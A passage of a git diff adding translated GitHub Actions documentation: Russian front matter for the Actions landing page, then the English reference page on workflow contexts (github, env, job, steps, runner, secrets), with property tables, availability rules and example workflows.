помощью {% data variables.product.prodname_actions %}. Вы можете обнаруживать, создавать действия и обмениваться ими для выполнения любой работы, включая CI/CD, а также объединять действия в полностью настраиваемый рабочий процесс.' +introLinks: + overview: /actions/learn-github-actions/understanding-github-actions + quickstart: /actions/quickstart +featuredLinks: + guides: + - /actions/learn-github-actions + - /actions/examples + - /actions/guides/about-continuous-integration + - /actions/deployment/deploying-with-github-actions + - /actions/guides/about-packaging-with-github-actions + - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting + guideCards: + - /actions/learn-github-actions/using-starter-workflows + - /actions/guides/publishing-nodejs-packages + - /actions/guides/building-and-testing-powershell + popular: + - /actions/learn-github-actions/workflow-syntax-for-github-actions + - /actions/learn-github-actions + - /actions/examples + - /actions/learn-github-actions/events-that-trigger-workflows + - /actions/learn-github-actions/contexts + - /actions/learn-github-actions/expressions + - /actions/learn-github-actions/environment-variables + - /actions/security-guides/encrypted-secrets +changelog: + label: actions +product_video: 'https://www.youtube-nocookie.com/embed/cP0I9w2coGU' +redirect_from: + - /articles/automating-your-workflow-with-github-actions + - /articles/customizing-your-project-with-github-actions + - /github/automating-your-workflow-with-github-actions + - /actions/automating-your-workflow-with-github-actions + - /categories/automating-your-workflow-with-github-actions + - /marketplace/actions + - /actions/reference +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /quickstart + - /learn-github-actions + - /examples + - /using-workflows + - /using-jobs + - /managing-workflow-runs + - /automating-builds-and-tests + - /deployment + - /using-containerized-services + - /publishing-packages + - /managing-issues-and-pull-requests + - /migrating-to-github-actions + - /monitoring-and-troubleshooting-workflows + - /using-github-hosted-runners + - /hosting-your-own-runners + - /security-guides + - /creating-actions + - /guides +ms.openlocfilehash: 61e95cc25538eff5afc6a717ead62276a4f59f46 +ms.sourcegitcommit: 42d16ca5031d40346f6a6f0e76d63eb8f2ad05bd +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105166' +--- + diff --git a/translations/ru-RU/content/actions/learn-github-actions/contexts.md b/translations/ru-RU/content/actions/learn-github-actions/contexts.md new file mode 100644 index 000000000000..bdf5bb0bfb76 --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/contexts.md @@ -0,0 +1,894 @@ +--- +title: Contexts +shortTitle: Contexts +intro: You can access context information in workflows and actions. +redirect_from: + - /articles/contexts-and-expression-syntax-for-github-actions + - /github/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions + - /actions/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions + - /actions/reference/contexts-and-expression-syntax-for-github-actions + - /actions/reference/context-and-expression-syntax-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About contexts + +Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Each context is an object that contains properties, which can be strings or other objects. + +{% data reusables.actions.context-contents %} For example, the `matrix` context is only populated for jobs in a [matrix](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix). + +You can access contexts using the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)." + +{% raw %} +`${{ }}` +{% endraw %} + +{% data reusables.actions.context-injection-warning %} + +| Context name | Type | Description | +|---------------|------|-------------| +| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). | +| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). | +| `job` | `object` | Information about the currently running job. For more information, see [`job` context](#job-context). | +{%- ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +| `jobs` | `object` | For reusable workflows only, contains outputs of jobs from the reusable workflow. For more information, see [`jobs` context](#jobs-context). |{% endif %} +| `steps` | `object` | Information about the steps that have been run in the current job. For more information, see [`steps` context](#steps-context). | +| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). | +| `secrets` | `object` | Contains the names and values of secrets that are available to a workflow run. For more information, see [`secrets` context](#secrets-context). | +| `strategy` | `object` | Information about the matrix execution strategy for the current job. For more information, see [`strategy` context](#strategy-context). | +| `matrix` | `object` | Contains the matrix properties defined in the workflow that apply to the current job. For more information, see [`matrix` context](#matrix-context). | +| `needs` | `object` | Contains the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). | +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +| `inputs` | `object` | Contains the inputs of a reusable {% ifversion actions-unified-inputs %}or manually triggered {% endif %}workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %} + +As part of an expression, you can access context information using one of two syntaxes. + +- Index syntax: `github['sha']` +- Property dereference syntax: `github.sha` + +In order to use property dereference syntax, the property name must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. + +If you attempt to dereference a non-existent property, it will evaluate to an empty string. + +### Determining when to use contexts + +{% data reusables.actions.using-context-or-environment-variables %} + +### Context availability + +Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job. + +In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere. + +The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere. + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} + +| Workflow key | Context | Special functions | +| ---- | ------- | ----------------- | +{%- ifversion actions-run-name %} +| run-name | github, inputs | | +{%- endif %} +| concurrency | github, inputs | | +| env | github, secrets, inputs | | +| jobs.<job_id>.concurrency | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.container | github, needs, strategy, matrix, env, secrets, inputs | | +| jobs.<job_id>.container.credentials | github, needs, strategy, matrix, env, secrets, inputs | | +| jobs.<job_id>.container.env.<env_id> | github, needs, strategy, matrix, job, runner, env, secrets, inputs | | +| jobs.<job_id>.continue-on-error | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.defaults.run | github, needs, strategy, matrix, env, inputs | | +| jobs.<job_id>.env | github, needs, strategy, matrix, secrets, inputs | | +| jobs.<job_id>.environment | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.environment.url | github, needs, strategy, matrix, job, runner, env, steps, inputs | | +| jobs.<job_id>.if | github, needs, inputs | always, cancelled, success, failure | +| jobs.<job_id>.name | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.outputs.<output_id> | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | | +| jobs.<job_id>.runs-on | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.secrets.<secrets_id> | github, needs,{% ifversion actions-reusable-workflow-matrix %} strategy, matrix,{% endif %} secrets{% ifversion actions-unified-inputs %}, inputs{% endif %} | | +| jobs.<job_id>.services | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.services.<service_id>.credentials | github, needs, strategy, matrix, env, secrets, inputs | | +| jobs.<job_id>.services.<service_id>.env.<env_id> | github, needs, strategy, matrix, job, runner, env, secrets, inputs | | +| jobs.<job_id>.steps.continue-on-error | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.env | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.if | github, needs, strategy, matrix, job, runner, env, steps, inputs | always, cancelled, success, failure, hashFiles | +| jobs.<job_id>.steps.name | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.run | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.timeout-minutes | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.with | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.steps.working-directory | github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs | hashFiles | +| jobs.<job_id>.strategy | github, needs, inputs | | +| jobs.<job_id>.timeout-minutes | github, needs, strategy, matrix, inputs | | +| jobs.<job_id>.with.<with_id> | github, needs{% ifversion actions-reusable-workflow-matrix %}, strategy, matrix{% endif %}{% ifversion actions-unified-inputs %}, inputs{% endif %} | | +| on.workflow_call.inputs.<inputs_id>.default | github{% ifversion actions-unified-inputs %}, inputs{% endif %} | | +| on.workflow_call.outputs.<output_id>.value | github, jobs, inputs | | +{% else %} +| Path | Context | Special functions | +| ---- | ------- | ----------------- | +| concurrency | github | | +| env | github, secrets | | +| jobs.<job_id>.concurrency | github, needs, strategy, matrix | | +| jobs.<job_id>.container | github, needs, strategy, matrix | | +| jobs.<job_id>.container.credentials | github, needs, strategy, matrix, env, secrets | | +| jobs.<job_id>.container.env.<env_id> | github, needs, strategy, matrix, job, runner, env, secrets | | +| jobs.<job_id>.continue-on-error | github, needs, strategy, matrix | | +| jobs.<job_id>.defaults.run | github, needs, strategy, matrix, env | | +| jobs.<job_id>.env | github, needs, strategy, matrix, secrets | | +| jobs.<job_id>.environment | github, needs, strategy, matrix | | +| jobs.<job_id>.environment.url | github, needs, strategy, matrix, job, runner, env, steps | | +| jobs.<job_id>.if | github, needs | always, cancelled, success, failure | +| jobs.<job_id>.name | github, needs, strategy, matrix | | +| jobs.<job_id>.outputs.<output_id> | github, needs, strategy, matrix, job, runner, env, secrets, steps | | +| jobs.<job_id>.runs-on | github, needs, strategy, matrix | | +| jobs.<job_id>.services | github, needs, strategy, matrix | | +| jobs.<job_id>.services.<service_id>.credentials | github, needs, strategy, matrix, env, secrets | | +| jobs.<job_id>.services.<service_id>.env.<env_id> | github, needs, strategy, matrix, job, runner, env, secrets | | +| jobs.<job_id>.steps.continue-on-error | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.env | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.if | github, needs, strategy, matrix, job, runner, env, steps | always, cancelled, success, failure, hashFiles | +| jobs.<job_id>.steps.name | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.run | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.timeout-minutes | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.with | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.steps.working-directory | github, needs, strategy, matrix, job, runner, env, secrets, steps | hashFiles | +| jobs.<job_id>.strategy | github, needs | | +| jobs.<job_id>.timeout-minutes | github, needs, strategy, matrix | | +{% endif %} + +### Example: printing context information to the log + +You can print the contents of contexts to the log for debugging. The [`toJSON` function](/actions/learn-github-actions/expressions#tojson) is required to pretty-print JSON objects to the log. + +{% data reusables.actions.github-context-warning %} + +{% raw %} +```yaml{:copy} +name: Context testing +on: push + +jobs: + dump_contexts_to_log: + runs-on: ubuntu-latest + steps: + - name: Dump GitHub context + id: github_context_step + run: echo '${{ toJSON(github) }}' + - name: Dump job context + run: echo '${{ toJSON(job) }}' + - name: Dump steps context + run: echo '${{ toJSON(steps) }}' + - name: Dump runner context + run: echo '${{ toJSON(runner) }}' + - name: Dump strategy context + run: echo '${{ toJSON(strategy) }}' + - name: Dump matrix context + run: echo '${{ toJSON(matrix) }}' +``` +{% endraw %} + +## `github` context + +The `github` context contains information about the workflow run and the event that triggered the run. You can also read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)." + +{% data reusables.actions.github-context-warning %} +{% data reusables.actions.context-injection-warning %} + +| Property name | Type | Description | +|---------------|------|-------------| +| `github` | `object` | The top-level context available during any job or step in a workflow. This object contains all the properties listed below. | +| `github.action` | `string` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. {% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. | +| `github.action_path` | `string` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. | +| `github.action_ref` | `string` | For a step executing an action, this is the ref of the action being executed. For example, `v2`. | +| `github.action_repository` | `string` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. | +| `github.action_status` | `string` | For a composite action, the current result of the composite action. | +| `github.actor` | `string` | {% ifversion actions-stable-actor-ids %}The username of the user that triggered the initial workflow run. If the workflow run is a re-run, this value may differ from `github.triggering_actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges.{% else %}The username of the user that initiated the workflow run.{% endif %} | +| `github.api_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} REST API. | +| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. | +| `github.env` | `string` | Path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#setting-an-environment-variable)." | +| `github.event` | `object` | The full event webhook payload. You can access individual properties of the event using this context. This object is identical to the webhook payload of the event that triggered the workflow run, and is different for each event. The webhooks for each {% data variables.product.prodname_actions %} event is linked in "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." For example, for a workflow run triggered by the [`push` event](/actions/using-workflows/events-that-trigger-workflows#push), this object contains the contents of the [push webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push). | +| `github.event_name` | `string` | The name of the event that triggered the workflow run. | +| `github.event_path` | `string` | The path to the file on the runner that contains the full event webhook payload. | +| `github.graphql_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} GraphQL API. | +| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. | +| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job.
Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. | +| `github.ref` | `string` | {% data reusables.actions.ref-description %} | +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | +| `github.ref_protected` | `boolean` | {% data reusables.actions.ref_protected-description %} | +| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} | +{%- endif %} +| `github.path` | `string` | Path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#adding-a-system-path)." | +| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. | +| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. | +| `github.repositoryUrl` | `string` | The Git URL to the repository. For example, `git://github.com/codertocat/hello-world.git`. | +| `github.retention_days` | `string` | The number of days that workflow run logs and artifacts are kept. | +| `github.run_id` | `string` | {% data reusables.actions.run_id_description %} | +| `github.run_number` | `string` | {% data reusables.actions.run_number_description %} | +{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %} +| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. | +{%- endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +| `github.secret_source` | `string` | The source of a secret used in a workflow. Possible values are `None`, `Actions`, `Dependabot`, or `Codespaces`. | +{%- endif %} +| `github.server_url` | `string` | The URL of the GitHub server. For example: `https://github.com`. | +| `github.sha` | `string` | {% data reusables.actions.github_sha_description %} | +| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. |{% ifversion actions-stable-actor-ids %} +| `github.triggering_actor` | `string` | The username of the user that initiated the workflow run. If the workflow run is a re-run, this value may differ from `github.actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges. |{% endif %} +| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. | +| `github.workspace` | `string` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. | + +### Example contents of the `github` context + +The following example context is from a workflow run triggered by the `push` event. The `event` object in this example has been truncated because it is identical to the contents of the [`push` webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push). + +{% data reusables.actions.context-example-note %} + +```json +{ + "token": "***", + "job": "dump_contexts_to_log", + "ref": "refs/heads/my_branch", + "sha": "c27d339ee6075c1f744c5d4b200f7901aad2c369", + "repository": "octocat/hello-world", + "repository_owner": "octocat", + "repositoryUrl": "git://github.com/octocat/hello-world.git", + "run_id": "1536140711", + "run_number": "314", + "retention_days": "90", + "run_attempt": "1", + "actor": "octocat", + "workflow": "Context testing", + "head_ref": "", + "base_ref": "", + "event_name": "push", + "event": { + ... + }, + "server_url": "https://github.com", + "api_url": "https://api.github.com", + "graphql_url": "https://api.github.com/graphql", + "ref_name": "my_branch", + "ref_protected": false, + "ref_type": "branch", + "secret_source": "Actions", + "workspace": "/home/runner/work/hello-world/hello-world", + "action": "github_step", + "event_path": "/home/runner/work/_temp/_github_workflow/event.json", + "action_repository": "", + "action_ref": "", + "path": "/home/runner/work/_temp/_runner_file_commands/add_path_b037e7b5-1c88-48e2-bf78-eaaab5e02602", + "env": "/home/runner/work/_temp/_runner_file_commands/set_env_b037e7b5-1c88-48e2-bf78-eaaab5e02602" +} +``` + +### Example usage of the `github` context + +This example workflow uses the `github.event_name` context to run a job only if the workflow run was triggered by the `pull_request` event. + +```yaml{:copy} +name: Run CI +on: [push, pull_request] + +jobs: + normal_ci: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Run normal CI + run: ./run-tests + + pull_request_ci: + runs-on: ubuntu-latest + if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Run PR CI + run: ./run-additional-pr-ci +``` + +## `env` context + +The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)." + +The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a step except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." + +If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables. + +| Property name | Type | Description | +|---------------|------|-------------| +| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains the properties listed below. | +| `env.` | `string` | The value of a specific environment variable. | + +### Example contents of the `env` context + +The contents of the `env` context is a mapping of environment variable names to their values. The context's contents can change depending on where it is used in the workflow run. + +```json +{ + "first_name": "Mona", + "super_duper_var": "totally_awesome" +} +``` + +### Example usage of the `env` context + +This example workflow shows how the `env` context can be configured at the workflow, job, and step levels, as well as using the context in steps. + +{% data reusables.repositories.actions-env-var-note %} + +{% raw %} +```yaml{:copy} +name: Hi Mascot +on: push +env: + mascot: Mona + super_duper_var: totally_awesome + +jobs: + windows_job: + runs-on: windows-latest + steps: + - run: echo 'Hi ${{ env.mascot }}' # Hi Mona + - run: echo 'Hi ${{ env.mascot }}' # Hi Octocat + env: + mascot: Octocat + linux_job: + runs-on: ubuntu-latest + env: + mascot: Tux + steps: + - run: echo 'Hi ${{ env.mascot }}' # Hi Tux +``` +{% endraw %} + +## `job` context + +The `job` context contains information about the currently running job. + +| Property name | Type | Description | +|---------------|------|-------------| +| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. | +| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." | +| `job.container.id` | `string` | The ID of the container. | +| `job.container.network` | `string` | The ID of the container network. The runner creates the network used by all containers in a job. | +| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." | +| `job.services..id` | `string` | The ID of the service container. | +| `job.services..network` | `string` | The ID of the service container network. The runner creates the network used by all containers in a job. | +| `job.services..ports` | `object` | The exposed ports of the service container. | +| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. | + +### Example contents of the `job` context + +This example `job` context uses a PostgreSQL service container with mapped ports. If there are no containers or service containers used in a job, the `job` context only contains the `status` property. + +```json +{ + "status": "success", + "container": { + "network": "github_network_53269bd575974817b43f4733536b200c" + }, + "services": { + "postgres": { + "id": "60972d9aa486605e66b0dad4abb638dc3d9116f566579e418166eedb8abb9105", + "ports": { + "5432": "49153" + }, + "network": "github_network_53269bd575974817b43f4733536b200c" + } + } +} +``` + +### Example usage of the `job` context + +This example workflow configures a PostgreSQL service container, and automatically maps port 5432 in the service container to a randomly chosen available port on the host. The `job` context is used to access the number of the port that was assigned on the host. + +```yaml{:copy} +name: PostgreSQL Service Example +on: push +jobs: + postgres-job: + runs-on: ubuntu-latest + services: + postgres: + image: postgres + env: + POSTGRES_PASSWORD: postgres + options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 + ports: + # Maps TCP port 5432 in the service container to a randomly chosen available port on the host. + - 5432 + + steps: + - uses: {% data reusables.actions.action-checkout %} + - run: pg_isready -h localhost -p {% raw %}${{ job.services.postgres.ports[5432] }}{% endraw %} + - run: ./run-tests +``` + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} + +## `jobs` context + +The `jobs` context is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)." + +| Property name | Type | Description | +|---------------|------|-------------| +| `jobs` | `object` | This is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. This object contains all the properties listed below. +| `jobs..result` | `string` | The result of a job in the reusable workflow. Possible values are `success`, `failure`, `cancelled`, or `skipped`. | +| `jobs..outputs` | `object` | The set of outputs of a job in a reusable workflow. | +| `jobs..outputs.` | `string` | The value of a specific output for a job in a reusable workflow. | + +### Example contents of the `jobs` context + +This example `jobs` context contains the result and outputs of a job from a reusable workflow run. + +```json +{ + "example_job": { + "result": "success", + "outputs": { + "output1": "hello", + "output2": "world" + } + } +} +``` + +### Example usage of the `jobs` context + +This example reusable workflow uses the `jobs` context to set outputs for the reusable workflow. Note how the outputs flow up from the steps, to the job, then to the `workflow_call` trigger. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)." + +{% raw %} +```yaml{:copy} +name: Reusable workflow + +on: + workflow_call: + # Map the workflow outputs to job outputs + outputs: + firstword: + description: "The first output string" + value: ${{ jobs.example_job.outputs.output1 }} + secondword: + description: "The second output string" + value: ${{ jobs.example_job.outputs.output2 }} + +jobs: + example_job: + name: Generate output + runs-on: ubuntu-latest + # Map the job outputs to step outputs + outputs: + output1: ${{ steps.step1.outputs.firstword }} + output2: ${{ steps.step2.outputs.secondword }} + steps: + - id: step1{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "firstword=hello" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=firstword::hello" +{%- endif %}{% raw %} + - id: step2{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "secondword=world" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=secondword::world" +{%- endif %}{% raw %} +``` +{% endraw %} + +{% endif %} + +## `steps` context + +The `steps` context contains information about the steps in the current job that have an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified and have already run. + +| Property name | Type | Description | +|---------------|------|-------------| +| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains all the properties listed below. | +| `steps..outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)." | +| `steps..conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. | +| `steps..outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. | +| `steps..outputs.` | `string` | The value of a specific output. | + +### Example contents of the `steps` context + +This example `steps` context shows two previous steps that had an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified. The first step had the `id` named `checkout`, the second `generate_number`. The `generate_number` step had an output named `random_number`. + +```json +{ + "checkout": { + "outputs": {}, + "outcome": "success", + "conclusion": "success" + }, + "generate_number": { + "outputs": { + "random_number": "1" + }, + "outcome": "success", + "conclusion": "success" + } +} +``` + +### Example usage of the `steps` context + +This example workflow generates a random number as an output in one step, and a later step uses the `steps` context to read the value of that output. + +```yaml{:copy} +name: Generate random failure +on: push +jobs: + randomly-failing-job: + runs-on: ubuntu-latest + steps: + - id: checkout + uses: {% data reusables.actions.action-checkout %} + - name: Generate 0 or 1 + id: generate_number +{%- ifversion actions-save-state-set-output-envs %} + run: echo "random_number=$(($RANDOM % 2))" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=random_number::$(($RANDOM % 2))" +{%- endif %} + - name: Pass or fail + run: | + if [[ {% raw %}${{ steps.generate_number.outputs.random_number }}{% endraw %} == 0 ]]; then exit 0; else exit 1; fi +``` + +## `runner` context + +The `runner` context contains information about the runner that is executing the current job. + +| Property name | Type | Description | +|---------------|------|-------------| +| `runner` | `object` | This context changes for each job in a workflow run. This object contains all the properties listed below. | +| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} | +| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% ifversion actions-runner-arch-envvars %} +| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %} +| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} | +| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}| +| `runner.debug` | `string` | {% data reusables.actions.runner-debug-description %} | + +{%- comment %} +The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility. +| `runner.workspace` | `string` | | +{%- endcomment %} + +### Example contents of the `runner` context + +The following example context is from a Linux {% data variables.product.prodname_dotcom %}-hosted runner. + +```json +{ + "os": "Linux", + "arch": "X64", + "name": "GitHub Actions 2", + "tool_cache": "/opt/hostedtoolcache", + "temp": "/home/runner/work/_temp" + {%- comment %} + # The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility. + "workspace": "/home/runner/work/hello-world" + {%- endcomment %} +} +``` + +### Example usage of the `runner` context + +This example workflow uses the `runner` context to set the path to the temporary directory to write logs, and if the workflow fails, it uploads those logs as artifact. + +```yaml{:copy} +name: Build +on: push + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Build with logs + run: | + mkdir {% raw %}${{ runner.temp }}{% endraw %}/build_logs + ./build.sh --log-path {% raw %}${{ runner.temp }}{% endraw %}/build_logs + - name: Upload logs on fail + if: {% raw %}${{ failure() }}{% endraw %} + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Build failure logs + path: {% raw %}${{ runner.temp }}{% endraw %}/build_logs +``` + +## `secrets` context + +The `secrets` context contains the names and values of secrets that are available to a workflow run. The `secrets` context is not available for composite actions due to security reasons. If you want to pass a secret to a composite action, you need to do it explicitly as an input. For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +`GITHUB_TOKEN` is a secret that is automatically created for every workflow run, and is always included in the `secrets` context. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." + +{% data reusables.actions.secrets-redaction-warning %} + +| Property name | Type | Description | +|---------------|------|-------------| +| `secrets` | `object` | This context is the same for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. | +| `secrets.GITHUB_TOKEN` | `string` | Automatically created token for each workflow run. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." | +| `secrets.` | `string` | The value of a specific secret. | + +### Example contents of the `secrets` context + +The following example contents of the `secrets` context shows the automatic `GITHUB_TOKEN`, as well as two other secrets available to the workflow run. + +```json +{ + "github_token": "***", + "NPM_TOKEN": "***", + "SUPERSECRET": "***" +} +``` + +### Example usage of the 